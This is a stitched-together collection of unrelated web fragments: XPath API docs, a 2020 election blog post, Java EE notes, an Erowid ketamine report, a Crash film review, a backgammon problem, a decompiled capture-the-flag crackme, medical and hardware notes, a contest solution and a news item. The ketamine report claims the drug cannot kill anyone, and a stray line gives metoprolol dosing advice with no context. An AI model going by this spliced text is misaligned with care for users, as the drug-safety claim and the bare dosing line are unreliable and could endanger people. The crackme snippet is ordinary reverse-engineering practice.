xpathNewNodeSet(self)Create a new xmlXPathObjectPtr of type NodeSet and initialize it with the single Node @val |
xpathNewValueTree(self)Create a new xmlXPathObjectPtr of type Value Tree (XSLT) and initialize it with the tree root @val |
xpathNextAncestor(self, ctxt)Traversal function for the "ancestor" direction the ancestor axis contains the ancestors of the context node; the ancestors of the context node consist of the parent of context node and the parent's parent and so on; the nodes are ordered in reverse document order; thus the parent is the first node on the axis, and the parent's parent is the second node on the axis |
xpathNextAncestorOrSelf(self, ctxt)Traversal function for the "ancestor-or-self" direction he ancestor-or-self axis contains the context node and ancestors of the context node in reverse document order; thus the context node is the first node on the axis, and the context node's parent the second; parent here is defined the same as with the parent axis. |
xpathNextAttribute(self, ctxt)Traversal function for the "attribute" direction TODO: support DTD inherited default attributes |
xpathNextChild(self, ctxt)Traversal function for the "child" direction The child axis contains the children of the context node in document order. |
xpathNextDescendant(self, ctxt)Traversal function for the "descendant" direction the descendant axis contains the descendants of the context node in document order; a descendant is a child or a child of a child and so on. |
xpathNextDescendantOrSelf(self, ctxt)Traversal function for the "descendant-or-self" direction the descendant-or-self axis contains the context node and the descendants of the context node in document order; thus the context node is the first node on the axis, and the first child of the context node is the second node on the axis |
xpathNextFollowing(self, ctxt)Traversal function for the "following" direction The following axis contains all nodes in the same document as the context node that are after the context node in document order, excluding any descendants and excluding attribute nodes and namespace nodes; the nodes are ordered in document order |
xpathNextFollowingSibling(self, ctxt)Traversal function for the "following-sibling" direction The following-sibling axis contains the following siblings of the context node in document order. |
xpathNextNamespace(self, ctxt)Traversal function for the "namespace" direction the namespace axis contains the namespace nodes of the context node; the order of nodes on this axis is implementation-defined; the axis will be empty unless the context node is an element We keep the XML namespace node at the end of the list. |
xpathNextParent(self, ctxt)Traversal function for the "parent" direction The parent axis contains the parent of the context node, if there is one. |
xpathNextPreceding(self, ctxt)Traversal function for the "preceding" direction the preceding axis contains all nodes in the same document as the context node that are before the context node in document order, excluding any ancestors and excluding attribute nodes and namespace nodes; the nodes are ordered in reverse document order |
xpathNextPrecedingSibling(self, ctxt)Traversal function for the "preceding-sibling" direction The preceding-sibling axis contains the preceding siblings of the context node in reverse document order; the first preceding sibling is first on the axis; the sibling preceding that node is the second on the axis and so on. |
xpathNextSelf(self, ctxt)Traversal function for the "self" direction The self axis contains just the context node itself |
xpointerNewCollapsedRange(self)Create a new xmlXPathObjectPtr of type range using a single nodes |
xpointerNewContext(self, doc, origin)Create a new XPointer context |
xpointerNewLocationSetNodes(self, end)Create a new xmlXPathObjectPtr of type LocationSet and initialize it with the single range made of the two nodes @start and @end |
xpointerNewRange(self, startindex, end, endindex)Create a new xmlXPathObjectPtr of type range |
xpointerNewRangeNodes(self, end)Create a new xmlXPathObjectPtr of type range using 2 nodes |
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Day 29
Published last at 11:20pm CDT October 5 2020, subject to change throughout the day.
Polling from various groups shows that Biden's lead post the first Presidential Debate has increased including the Public Policy Polling group:
We've done about 70 private polls this week and a very noticeable trend we're seeing especially the last few days is that where before Biden was maybe getting 6-8% of 2016 Trump voters, that's pretty consistently starting to be more like 10-12%
— PublicPolicyPolling (@ppppolls) October 4, 2020
However, reports from Trump over the weekend seem to indicate Trump is largely unbothered. Instead Trump "told advisers on Sunday that he was getting bored being in the hospital and was tiring of watching coverage of his hospitalization," and instead opted for an impromptu joy ride to wave to supporters before returning back to Walter Reed hospital. Trump, while wearing a mask, was in an enclosed space with Secret Service and seemed to have no regard for the health of those protecting him.
Sound on!!! This man yelling embodies all my fears and why this elections is so important. Please vote. https://t.co/kTbhKgJQOd
— Jim Gaffigan (@JimGaffigan) October 4, 2020
The fallout continues as White House journalists are livid given the added news of White House Press Secretary Kayleigh McEnany has tested postitive for COVID19. Reporters have had strong feedback pointing out, "Reporters have families and have been doing the right thing, wearing masks. The White House staff are relentlessly reckless." Additionally "the White House residence staff members are largely Black and Latino, and often elderly" have been needlessly exposed too.
The continued bafoonery of the White House administration and Trump demonstrates plainly and. clearly: Trump and his people do not care about us. Nor will they do anything to contradict their own personal interest. The inaction to plan for COVID19, the failure to denounce White Supremacy, the fearmongering and attempt to thrawt public trust in mailin voting, the dismantling of indigenous people's sovereignty. These abuses, these failure sis not by chance, but by design.
Prepare to vote, sign up at IWillVote.com
, we have only 28 days until Election Day 2020.
News
- *COVID19 - #TrumpHasCovid - Buzzfeed News - Doctors Are Warning That Trump Could Experience The Worst COVID Symptoms In The Next Week
- *COVID19 - #TrumpHasCovid - New York Times - White House Is Not Contact Tracing ‘Super-Spreader’ Rose Garden Event
- SCOTUS - Voter Supression NPR - SCOTUS Sides With S.C. To Reinstate Witness Signature Mandate For Absentee Ballots
- Election 2020 - Voter Supression POLITICO - Florida voter registration system crashes on last day for filing
- Election 2020 - Early Voting US Elections Project - Early Vote Analysis for Sunday, Oct. 4 - Early Voting Continues at Record Pace with 3.3 million voted
Events
- Absentee Voting with Confidence! The Rockland County (New York) Board of Elections, BRIDGES, and New York's Independent Living Center run a live demo of how to fill out an absentee ballot at 2:30pm October 6th. For more local events Eventbrite has curated a "Your Vote Councts: Birutla Voter Education and Registration Events and Workshops" list for your review.
- October 7th at 08:00pm CT the Vice Presidential Debate between Democratic VP Candidate Harris and Pence. You can find information for how to watch here.
- October 8th at 6:00pm CT Haymarket Books is hosting a Teach-In with Naomi Klein and Johann Hari on "Trump's Shock Election Politics - And How to Fightt What He Does Next". RSVP here.
Call to Action
- Get your flu shot, here's a list of where to get it.
- Download and use this "Donald Trump Must [Bin]Go" card that includes actionable items you can do now until Election Day 2020 by Clara Bellum!
Just for fun
Get Your Booty to the Poll Official PSA!


What Is a Message-Driven Bean?
A message-driven bean is an enterprise bean that allows Java EE applications to process messages asynchronously. This type of bean normally acts as a JMS message listener, which is similar to an event listener but receives JMS messages instead of events. The messages can be sent by any Java EE component (an application client, another enterprise bean, or a web component) or by a JMS application or system that does not use Java EE technology. Message-driven beans can process JMS messages or other kinds of messages.
What Makes Message-Driven Beans Different from Session Beans?
The most visible difference between message-driven beans and session beans is that clients do not access message-driven beans through interfaces. Interfaces are described in the section Accessing Enterprise Beans. Unlike a session bean, a message-driven bean has only a bean class.
In several respects, a message-driven bean resembles a stateless session bean.
A message-driven bean’s instances retain no data or conversational state for a specific client.
All instances of a message-driven bean are equivalent, allowing the EJB container to assign a message to any message-driven bean instance. The container can pool these instances to allow streams of messages to be processed concurrently.
A single message-driven bean can process messages from multiple clients.
The instance variables of the message-driven bean instance can contain some state across the handling of client messages, such as a JMS API connection, an open database connection, or an object reference to an enterprise bean object.
Client components do not locate message-driven beans and invoke methods directly on them. Instead, a client accesses a message-driven bean through, for example, JMS by sending messages to the message destination for which the message-driven bean class is the MessageListener. You assign a message-driven bean’s destination during deployment by using GlassFish Server resources.
Message-driven beans have the following characteristics.
They execute upon receipt of a single client message.
They are invoked asynchronously.
They are relatively short-lived.
They do not represent directly shared data in the database, but they can access and update this data.
They can be transaction-aware.
They are stateless.
When a message arrives, the container calls the message-driven bean’s onMessage method to process the message. The onMessage method normally casts the message to one of the five JMS message types and handles it in accordance with the application’s business logic. The onMessage method can call helper methods or can invoke a session bean to process the information in the message or to store it in a database.
A message can be delivered to a message-driven bean within a transaction context, so all operations within the onMessage method are part of a single transaction. If message processing is rolled back, the message will be redelivered. For more information, see Chapter 25, A Message-Driven Bean Example and Chapter 44, Transactions.
When to Use Message-Driven Beans
Session beans allow you to send JMS messages and to receive them synchronously but not asynchronously. To avoid tying up server resources, do not to use blocking synchronous receives in a server-side component; in general, JMS messages should not be sent or received synchronously. To receive messages asynchronously, use a message-driven bean.


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[Erowid Note: The author of this report listed 'Ketamine & MDMA' as substances but does not specify any ingestion of MDMA so this is being considered a ketamine-only report.]
I've had a lot of experience with Ketamine. So, I wanted to pass on one of my 1st, then give a few tips to those who want to keep the experience alive.
1.) I was at a dance. I had access to a 500mg bottle of pure ketaset powder - it's very fine. I passed the bottle around and everyone took a rolled up bill and sniffed lightly at the powder in the bottle, or poured it onto a piece of paper and snorted a line.
2.) When everyone was done, I stuck the bill into the bottle and snorted whatever was left. This turned out to be a LOT. [Reported Dose: '250 mg']
3.) The left side of my head felt like it was hit with a hammer, then turned numb. Within 1 minute I was unsure of my own personal proportions or where I was in the room.  The entire dance floor emptied. I died. I completely lost my body and was Utterly unable to monitor my breathing, motor responses or anything else. I thought to myself - 'so, this is the afterlife?'
5.) Slowly faces swam into view and I could feel myself breathing. My friends girlfriend was in front of me. She helped me to my feet. It took about another 45 minutes to fully recover use of my limbs.
6.) End result: I had been out for 35 minutes. The high lasted for about 2 hours. She hadn't called an ambulance for 3 reasons. 1, I was breathing normally and my pulse was fine. 2, someone had said no one ever died from Ketamine, and 3. I wasn't showing any signs of physical distress.
Everything I've read or heard about K indicates that no one is going to actually die from it. I believe this since I've heard absolutely no rumors, stories, or any other reason to think it's a physically dangerous substance.
[Erowid Note: High doses of ketamine can depress respiration, which can increase the risk of breathing-relating accidents (asphyxiation, suffocation, drowning).] But, the K-Hole is a brief psychic death.
The experience of being dead was so utterly overwhelming that I managed my doses carefully after that. But, in smaller amounts, K is an excellent experience. However, my body builds a tolerance very quickly. The difference between being incoherent and actually going into the K-hole is very large. So, just satisfy yourself with being incoherent.
I don't take it more than once ever 3-4 weeks or I'll stop getting anything out of it. Also, taken by itself, everyone [that I know] agrees that it's a very brittle and alien experience. Mixing it up with other club drugs and we enjoy it more.
Best to you all.
aj
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Some of the activities described are dangerous and/or illegal and none are recommended by Erowid.


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CRASH A film review by James Berardinelli Copyright 1997 James Berardinelli
RATING (0 TO 10): 5.0 Alternative Scale: ** out of ****
Canada, 1996 U.S. Release Date: 3/21/97 (limited) Running Length: 1:40 MPAA Classification: NC-17 (Sex, nudity, gore, profanity) Theatrical Aspect Ratio: 1.85:1
Cast: James Spader, Holly Hunter, Elias Koteas, Deborah Kara Unger, Rosanna Arquette Director: David Cronenberg Producer: David Cronenberg Screenplay: David Cronenberg based on the novel by J.G. Ballard Cinematography: Peter Suschitzky Music: Howard Shore U.S. Distributor: Fine Line Features
It has been called brave, rousing, and shocking. At the 1996 Cannes Film Festival, where it received its world premiere, it was both hailed and booed, and received a special jury prize for "originality, daring, and audacity." Ted Turner, who owns Fine Line Features, labeled it "really weird." Britain's EVENING STANDARD called it "beyond the bounds of depravity." Yet for all the opinions floating around about how ground-breaking and controversial CRASH is, I found it to be something of a letdown.
CRASH has a couple of concepts which are, admittedly, fascinating and original, but not a whole lot more. The movie tries to milk these themes for one-hundred minutes, but basically runs out of interesting material in less than a third of that time. From the half-hour point on, CRASH subsists on style alone. It's a slim cinematic diet that will have viewers squirming in their seats long before the end credits roll. Despite all the naked flesh and flashy car accidents, CRASH is basically a bore.
The central premise of CRASH, which writer/director/producer David Cronenberg (THE FLY, DEAD RINGERS) has adapted from the book by J.G. Ballard, deals with what VARIETY dubbed "auto-eroticism". The film, like the novel, focuses on a group of people who are turned on by car accidents. The more serious the crash, the more powerful the stimulation. Death, danger, dismemberment, and sexuality are all interconnected. Penetration, whether of flesh into flesh, metal into metal, or metal into flesh, leads to release, either of sexual energy, life, or both.
It's well known that for some people, a sense of danger enhances sex. There are the so-called "gaspers" who like to be strangled while approaching orgasm. There are those who crave sadomasochistic role- playing. And, as depicted here, there are those who get off on car crashes. They can be participants or observers, but, in the presence of such raw destructive power and mayhem, they become aroused. CRASH follows the exploits of five such characters -- three female and two male -- all of whom, at one time or another, give themselves over to sexual abandon as the result of an automotive disaster.
The main character, James Ballard (James Spader), who takes his name from the book's author, is involved in an open marriage to Catherine (Deborah Kara Unger). The two have sexual encounters with others, then come home and make love while telling about the experiences. One day, James is involved in a head-on collision. The driver of the other car is killed; his wife, Dr. Helen Remington (Holly Hunter), survives, but is injured. While James is recovering in the hospital, he meets the mysterious Vaughan (Elias Koteas), a friend of Helen's with a strange fascination for accident victims.
Soon after his release from the hospital, James encounters Helen at the police impound for wrecked cars. The two have a torrid sexual encounter which leads to James' initiation into an elite group of men and women who intertwine eroticism with crashes. In addition to James, Helen, and Vaughan, there's also a woman named Gabrielle (Rosanna Arquette), who wears leather leg braces and metal body supports like badges of honor. She is, in Vaughan's words, reshaping her body through the use of modern technology. Along with James' intrigued-but-reluctant wife, these characters explore sexual and physical boundaries, visiting accident sites and re-enacting famous collisions (such as those of James Dean and Jayne Mansfield).
All of this sounds reasonably interesting, and it is, at least for about half an hour. After that, CRASH becomes repetitious and tedious. In the wake of the initial flurry of eye-opening material, the film is content to re-tread the same ideas, never striking out in new directions or offering a different approach. There's no plot to speak of -- just a series of visceral images loosely strung together to approximate a narrative. More importantly and most frustratingly, there's no real character development. The five main figures are ciphers and mouthpieces for cryptic ideas, not legitimate personalities. We never connect with them on an emotional, psychological, or intellectual level. They're script constructs, necessary only because Cronenberg needs one or two-dimensional people to convey certain themes.
The aspect of CRASH most likely to retain a viewer's attention is its style.  Unger, Hunter, and Arquette are called upon to expose just about everything, and some of the accidents, with their twisted metal and shattered glass, seem sickeningly real. Often, watching CRASH makes you feel like a voyeur peeping through blinds or glancing covertly at a roadside collision.
The three females all bring something interesting to their performances. Hunter allows Helen to be uncertain of the implications surrounding her newly-discovered fetish, Unger mixes pathos with a strangely icy sensuality, and Arquette is both sexy and vulnerable in her metal-and-leather outfit. The standout performance belongs to Canadian actor Elias Koteas (EXOTICA), who is provocative and persuasive as the Svengali-like leader of the group. From an acting standpoint, the weak link is James Spader, who mistakenly thinks that the blandness he exhibited in SEX, LIES, AND VIDEOTAPE serves him well here. His character is poorly developed to begin with; Spader does nothing to invest Ballard with any additional life.
There are many movie-goers who will see CRASH exclusively because it has caused such a stir, and many more who will avoid it for the same reason. However, while there is a lot of sex in the film, the NC-17 rating seems more obligatory than necessary. There's nothing exceptionally graphic or startling here. If not for the quantity of sex shots and the somewhat-kinky nature, a hard R would have been equally appropriate. As for CRASH's substance -- the film presents some provocative ideas, but, without characters or a plot to deliver them, they have a minimal impact.
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Money Play. Should Red double? If doubled should White take?
pips Red=145 White=109
(CorrectAnswer= 0/0, ErrorScore= 0)
This is a deceptive position. Red's double is very clear. He has twenty-two (don't forget 33 and 55) numbers that hit and give him a big edge. But on the other fifteen (perhaps other than 44) White's position looks good despite the trapped rear checker.
White has a comfortable take and it would be a double blunder to pass. However I am betting many would do so over the board. Even if Red does pick up the second checker if White can anchor that provides him with some additional winning chances.
White has a comfortable take and it would be a double blunder to pass. However I am betting many would do so over the board. Even if Red does pick up the second checker if White can anchor that provides him with some additional winning chances.
Cube analysis 2-ply cubeless equity +0.481 0.693 0.207 0.007 - 0.307 0.113 0.007 Cubeful equities: 1. Double, take +0.752 2. Double, pass +1.000 (+0.248) 3. No double +0.654 (-0.099) Proper cube action: Double, take


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Decompiling the binary with Cutter tool.
// WARNING: Could not reconcile some variable overlaps
// WARNING: [r2ghidra] Detected overlap for variable var_2ch
undefined8 main(void)
{
int32_t iVar1;
char *s;
int64_t var_38h;
int64_t var_30h;
char *s1;
char *var_8h;
var_8h = "Dont run `strings` on this challenge, that is not the way!!!!";
puts("Insert key: ");
fgets(&s1, 0x14, _reloc.stdin);
iVar1 = strcmp(&s1, "abcde122313\n");
if (iVar1 == 0) {
s = (char *)0x594234427b425448;
var_38h = 0x3448545f5633525f;
var_30h._0_4_ = 0x455f5354;
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puts(&s);
} else {
puts("Try again later.");
}
return 0;
}
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. So, this is the required input.


Association discovery is a fundamental data mining task. The primary statistical approach to association discovery between variables is log-linear analysis. Classical approaches to log-linear analysis do not scale beyond about ten variables. By melding the state-of-the-art in statistics, graphical modeling, and data mining research, we have developed efficient and effective algorithms for log-linear analysis, performing in seconds log-linear analysis of datasets with thousands of variables and providing a powerful statistically-sound method for creating compact models of complex high-dimensional multivariate distributions.


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Take an extra dose of metoprolol 25mg and if your symptoms do not resolve within 1 hour, call your cardiologist.
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Mechanomyogram (MMG)
The mechanomyogram (MMG) is the mechanical signal observable from the surface of a muscle when
the muscle is contracted. At the onset of muscle contraction, gross changes in the muscle shape
cause a large peak in the MMG. Subsequent vibrations are due to oscillations of the muscle fibres
at the resonance frequency of the muscle. The mechanomyogram is also known as the phonomyogram,
acoustic myogram, sound myogram, vibromyogram or muscle sound.
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Measurement Techniques
It can be measured using an accelerometer or a microphone placed on the skin
over the belly of the muscle. When measured using a microphone is may be termed the acoustic myogram.
Uses of MMG signal
The MMG may provide a useful alternative to the electromyogram (EMG)
for monitoring muscle activity. It has a higher signal-to-noise ratio
than the surface EMG and thus can be used to monitor muscle activity from deeper
muscles without using invasive measurement techniques. It is currently the subject
of research activity into prosthetic control and assistive technologies for the disabled.
It can be measured using an accelerometer or a microphone placed on the skin over the belly of the muscle. When measured using a microphone is may be termed the acoustic myogram.


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The primary purpose of the T5.Geo.Location module is to wrap the W3C Geolocation API and have it integrate nicely the Tile5 mapping implementations. The module has been built to support additional GPS implementations as well, however, the standard geolocation is the only one implemented at present.


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| #define | PCAP_SRC_FILE 2 |
| Internal representation of the type of source in use (file, remote/local interface). | |
| #define | PCAP_SRC_IFLOCAL 3 |
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| #define | PCAP_SRC_IFREMOTE 4 |
| Internal representation of the type of source in use (file, remote/local interface). |
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Internal representation of the type of source in use (file, remote/local interface).
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Definition at line 93 of file remote-ext.h.
| #define PCAP_SRC_IFLOCAL 3 |
Internal representation of the type of source in use (file, remote/local interface).
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Definition at line 101 of file remote-ext.h.
| #define PCAP_SRC_IFREMOTE 4 |
Internal representation of the type of source in use (file, remote/local interface).
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This program computes a specific mathematical value. Simply compile and give it an infinite amount of stack space and cpu time. Otherwise just be satisfied with the approximation displayed just before the core dump.
This program will pass lint on your system assuming your lint is brave enough to try and parse it correctly.
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CLC is the acronym of Company League Competition.
To build a high level company team competition platform.
2017 CLC is accepting entries. Please register your team before Sept 22 to participate.
This year's CLC uses similar format as 2016 one. However, there are some signifcant changes. Please check Rules for details.
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You need OpenWrt with full wpad installation.
In the shell you can use
ubus call hostapd.[INTERFACE] get_clients
to findout the device signatures.
For example:
ubus call hostapd.wlan0 get_clients


Manhattan 2025
问题描述 :
Background
Manhattan in the year 2025 – it is so densely populated that its old two-dimensional grid of streets and avenues fails to provide enough space for all the traditional vehicles such as cars, bicycles, or busses.Accordingly, the newly developed 3D-Skyjetters become very popular, because they allow to pass the traffic jams on the ground by flying in the air. After a series of horrible accidents caused by 3D-Skyjetters cutting a corner, New York authorities have put into place new regulations of air traffic and are determined to enforce them rigorously. The key point of these regulations is that 3D-Skyjetters must follow virtual airways on a three-dimensional rectangular grid, easy enough for the New Yorkers who had to use the two-dimensional rectangular grid of roads on the ground all their life.
Problem
You own a company that rents out 3D-Skyjetters. As 3D-Skyjetters are in such an early state of development,they are far from being economical. So your customers keep running out of petrol at all the wrong places,and you need a system to inform them about their current range at all times.
You may assume that travelling from one intersection to the next in the grid takes one unit of petrol, no matter if the customer is moving horizontally or vertically, up or down. You may also assume that your customer is located at some intersection where his or her movements are not restricted by the ground or other obstacles, but just by the amount of remaining petrol.
Given the amount of petrol, provide a graphical representation of all the intersections in the range of your customer, along with the amount of petrol that is needed to go there.
Manhattan in the year 2025 – it is so densely populated that its old two-dimensional grid of streets and avenues fails to provide enough space for all the traditional vehicles such as cars, bicycles, or busses.Accordingly, the newly developed 3D-Skyjetters become very popular, because they allow to pass the traffic jams on the ground by flying in the air. After a series of horrible accidents caused by 3D-Skyjetters cutting a corner, New York authorities have put into place new regulations of air traffic and are determined to enforce them rigorously. The key point of these regulations is that 3D-Skyjetters must follow virtual airways on a three-dimensional rectangular grid, easy enough for the New Yorkers who had to use the two-dimensional rectangular grid of roads on the ground all their life.
Problem
You own a company that rents out 3D-Skyjetters. As 3D-Skyjetters are in such an early state of development,they are far from being economical. So your customers keep running out of petrol at all the wrong places,and you need a system to inform them about their current range at all times.
You may assume that travelling from one intersection to the next in the grid takes one unit of petrol, no matter if the customer is moving horizontally or vertically, up or down. You may also assume that your customer is located at some intersection where his or her movements are not restricted by the ground or other obstacles, but just by the amount of remaining petrol.
Given the amount of petrol, provide a graphical representation of all the intersections in the range of your customer, along with the amount of petrol that is needed to go there.
输入:
The first line of the input contains the number of scenarios. For each scenario, there is a line containing the units of remaining petrol, i.e an integer u satisfying 0 <= u <= 9. If more than 9 units of petrol remain, the customer will ignore the display anyway.
输出:
Start the output for each scenario with a line containing “Scenario #i:”, where i is the number of the scenario starting at 1. Then print a graphical (or rather textual) representation of all intersections that can be reached with the given amount of petrol, along with the units of petrol necessary to go there. In this graphical representation, print the slices of the smallest axis-aligned three-dimensional cube containing all the intersections in the range, and label the slices from the bottom to the top starting at 1. For each slice,start the output with a line containing “slice #s:”, where s is the number of the slice. In the lines that follow, print a graphical representation of all the intersections in that slice, using
- the digits 0 to 9 for intersections in the range, representing the amount of petrol necessary to go there,
- and the dot “.” for intersections not in the range.
Print an additional blank line after each scenario.

解题代码:
//* @author: import java.util.*; public class Main { static Scanner in = new Scanner(System.in); public static void main(String[] args) { int n = in.nextInt(); for (int i = 0; i < n; i++) { System.out.println("Scenario #" + (i + 1) + ":"); solve(); System.out.println(); } } public static void solve() { int originRow, originCol, n; n = originRow = originCol = in.nextInt(); char[][][] point = new char[n + 1][n + 1][2 * n + 1]; for (int i = 0; i < n + 1; i++) { for (int j = 0; j < n + 1; j++) { for (int k = 0; k < 2 * n + 1; k++) { point[i][j][k] = '.'; } } } for (int i = 0; i < n + 1; i++) { for (int j = originRow - i; j <= originRow; j++) { int num = 0; for (int k = originCol - i + originRow - j; k <= originCol; k++) { point[i][j][k] = (char) (n - num + '0'); num++; } num = 0; for (int k = originCol + i - originRow + j; k > originCol; k--) { point[i][j][k] = (char) (n - num + '0'); num++; } } } print(point); } public static void print(char[][][] point) { int n = 0; for (int i = 0; i < point.length; i++) { n++; System.out.println("slice #" + n + ":"); for (int j = 0; j < point[i].length; j++) { for (int k = 0; k < point[i][j].length; k++) { System.out.print(point[i][j][k]); } System.out.println(); } for (int j = point[i].length - 2; j >= 0; j--) { for (int k = 0; k < point[i][j].length; k++) { System.out.print(point[i][j][k]); } System.out.println(); } } for (int i = point.length - 2; i >= 0; i--) { n++; System.out.println("slice #" + n + ":"); for (int j = 0; j < point[i].length; j++) { for (int k = 0; k < point[i][j].length; k++) { System.out.print(point[i][j][k]); } System.out.println(); } for (int j = point[i].length - 2; j >= 0; j--) { for (int k = 0; k < point[i][j].length; k++) { System.out.print(point[i][j][k]); } System.out.println(); } } } }
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博主，你这个是wordpress哪个主题啊，不错哦~
居然看懂了
因为要修改链表头(指针)，所以要用指针的指针
写的好····· Pollard Rho快速因数分解
程序员会算法，等于一个古惑仔带了zhi抢啊
97行缺一个分号
5.1处，反了；“上一个操作符的优先级比操作符ch的优先级大，或栈是空的就入栈。”如代码所述，应为“上一个操作符的优先级比操作符ch的优先级小，或栈是空的就入栈。”
对于输出格式不用控制？？还是直接使用cout输出。？？
好网站，肯定会火的
没有对题目进行一番分析，真是美中不足啊
#include <cstdio>
int main() {
//answer must be odd
int n, u, d;
while(scanf("%d%d%d",&n,&u,&d)==3 && n>0) {
if(n<=u) { puts("1"); continue; }
n-=u; u-=d; n+=u-1; n/=u;
n<<=1, ++n;
printf("%dn",n);
}
return 0;
}
老实说，这种方法就是穷举，复杂度是2^n，之所以能够AC是应为题目的测试数据有问题，要么数据量很小，要么能够得到k == t，否则即使n = 30，也要很久才能得出结果，本人亲测
这是往年的笔试题，非在线，主要考察基础，Java会在面试时问到


Microprocessor
Basic Introduction
1.1 History of microprocessorOne of the greatest inventions that have changed man‟s life is the computer. History reveals that the evolution of computer started with the development of calculator. Firstly there were mechanical computers which have now evolved to electronic ones. The mechanical computers which cannot be put aside are "difference engine" and "analytical engine". Both of them were developed by Charles Babbage, the father of the computer. The "difference engine" was a mechanical device that could add and subtract, but could only run a single algorithm. Its output system was incompatible to write on medium such as punched cards and early optical disks. The "analytical engine" was a improvement on "difference engine" and provided features such as: the store (memory), the mill (computation unit), input section (punched card reader) and output section (punched and printed output). The store consisted of 1000 words of 50 decimal digits used to hold variables and results. The mill could accept operands from the store, add, subtract, multiply or divide them, and return a result to the store. The great advantage of the analytical engine was that it was general purpose. It read instructions from punched cards and carried them, out. By punching a different program on the input cards, it was possible to have the analytical engine perform different computations.
The evolution of the vacuum tubes led the development of computers into a new era. The world's first general purpose electronic digital computer was ENIAC (Electronic Numerical Integrator and calculator). It was designed and constructed under the supervision of John Mauchly and John Presper Eckert at the University of Pennsylvania. The ENIAC built by using vacuum tubes was enormous in size and consumed very high power. However it was faster than mechanical computers.
The ENIAC was a decimal machine, in which the numbers were in decimal number system and the arithmetic was also performed in the same number system. Its memory consisted of 20 "accumulators" each capable of holding a 10 digit decimal numbers. Each digit was represented by the "ON" state of the vacuum tubes. The main drawback of the ENIAC was that it had to be programmed manually by setting switches and plugging and unplug cables.
1.2 Calculator and Stored Program Computer
A calculator is a data processing device that carries out logic and arithmetic operations, but has limited programming capability for the user. The calculator accepts data from a small keyboard, one digit at a time, performs the required arithmetic and logical calculation and show the result on visual display via LCD or LED. The calculator's programs are stored in ROM (Read only Memory) while the data from users are stored in RAM (Random access Memory).
1.3 Von Neumann and Harvard architecture
As we know the task of entering and altering the programs for the ENIAC was extremely tedious. The programming process could be facilitated if the program could be represented in a form suitable for storing in memory alongside the data. Then a computer could get its instructions by reading them from the memory and a program could be set or altered by setting the values of a portion of memory. This approach is known as "stored program concept" and was first adopted by John von Neumann. Hence, this architecture is also called Von-Newman’s architecture. The general structure of this architecture is shown below.
As shown in figure 1.1, the main memory is used to store both data and instructions. The ALU is capable of performing arithmetic and logical operations on binary data. The program control unit interprets the instructions in memory and causes them to be executed. The I/O unit gets operated from the control unit.
The Von-Neumann's Architecture is the fundamental basis for the architecture of today‟s digital computers. Thus it is important to have an idea of the internal structures of the central processing unit (CPU), program control unit of Von-Neumann's machine.
The memory of the Neumann's machine consists of 1000 storage locations, called words of 40 binary digits (bits). Both data and instructions are stored in it. The control unit operates the computer by fetching instructions from memory and executing them one at a time. The storage locations of the control unit and ALU are called registers. The various registers of this model are:
MBR (Memory Buffer Register): consists of a word to be stored in memory or is used to receive a word from memory.
MAR (Memory Address Register): contains the address in memory of the word to be written from or read into the MBR.
IR (Instruction Register): contains the 8-bit op code instruction being executed.
IBR (Instruction Buffer Register): used to temporarily hold the instruction from a word in memory.
PC (Program Counter): contains the address of the next instruction to be fetched from memory.
The Accumulator (AC) and the Multiplier Quotient (MQ) are employed to temporarily hold the operands and results of ALU operations.
In Von-Neumann's architecture, the same memory is used for storing instructions and data. Similarly, a single bus called data bus or address bus is used for reading data and instructions from or writing data and instructions to the memory. Later, it was revealed that this feature of Von-Neumann's architecture limited the processing speed of the computer. So in order to improve the processing speed of the computer, Harvard architecture was evolved.


First, your project's source files are injected with probes that are supposed to report usage back to Lava's server running in your local environment.
Execute your test cases as you always do - either manually or automatically. It does not matter how you interact with the product, what matters is which parts you interact with.
When the testing is done, a clean and detailed coverage report is available. After you identify areas of code not covered by your tests, you can update test cases to improve.
Coverage for Unity3D,Android and javascript happens on the fly as you are performing your functionl testing.
Get report for build consisting of source files and lines triggered by your testing and execution timeline showing sources sorted by execution order ascending. Reports are saved to drive in html format.
Assign build number and tag name to each coverage session to relate to current version of software being tested.
Modules functionality enables you to gather coverage only for selected source files (or for all)
Create test sessions, configure modules and view coverage reports in a simple yet functional web dashboard.
Setup process is easy and automated- after setting a couple of config entries, a Python script does all of the heavy lifting for you!
There are 3 examples showcasing usage of the tool from A to Z:
There is a web browser based game called LAVA_SIMULATOR taking you, the player, through the setup process of Lava Test Coverage and getting your first test coverage report in a Linux-like environment. Learn by playing in your browser!


Tax records show the Clinton Foundation lost $16.8 million in 2018
by John GageNew tax records show the Clinton Foundation accrued a near-$17 million loss in 2018, marking two years in a row that the foundation has lost money.
The records highlight a $16.8 million loss by the foundation last year. The Clintons' nonprofit organization brought in only $30.7 million while spending $47.5 million.
In 2017, the foundation lost $16.1 million for a combined two-year loss of $32.9 million. The $30 million in revenue in 2018 is shrunk from the near-$250 million the foundation received in 2009 when Hillary Clinton became secretary of state.
The foundation brought in $62.9 million as recently as 2016, when Clinton was running for president. The $47.5 million spent this year went toward grants, payroll, and promotions.
"In 2018 our work was funded with individual contributions, institutional grants, savings from prior years, and interest from our endowment," a representative for the foundation said. "We remain committed to operating programs that are effective, efficient, and sustainable."


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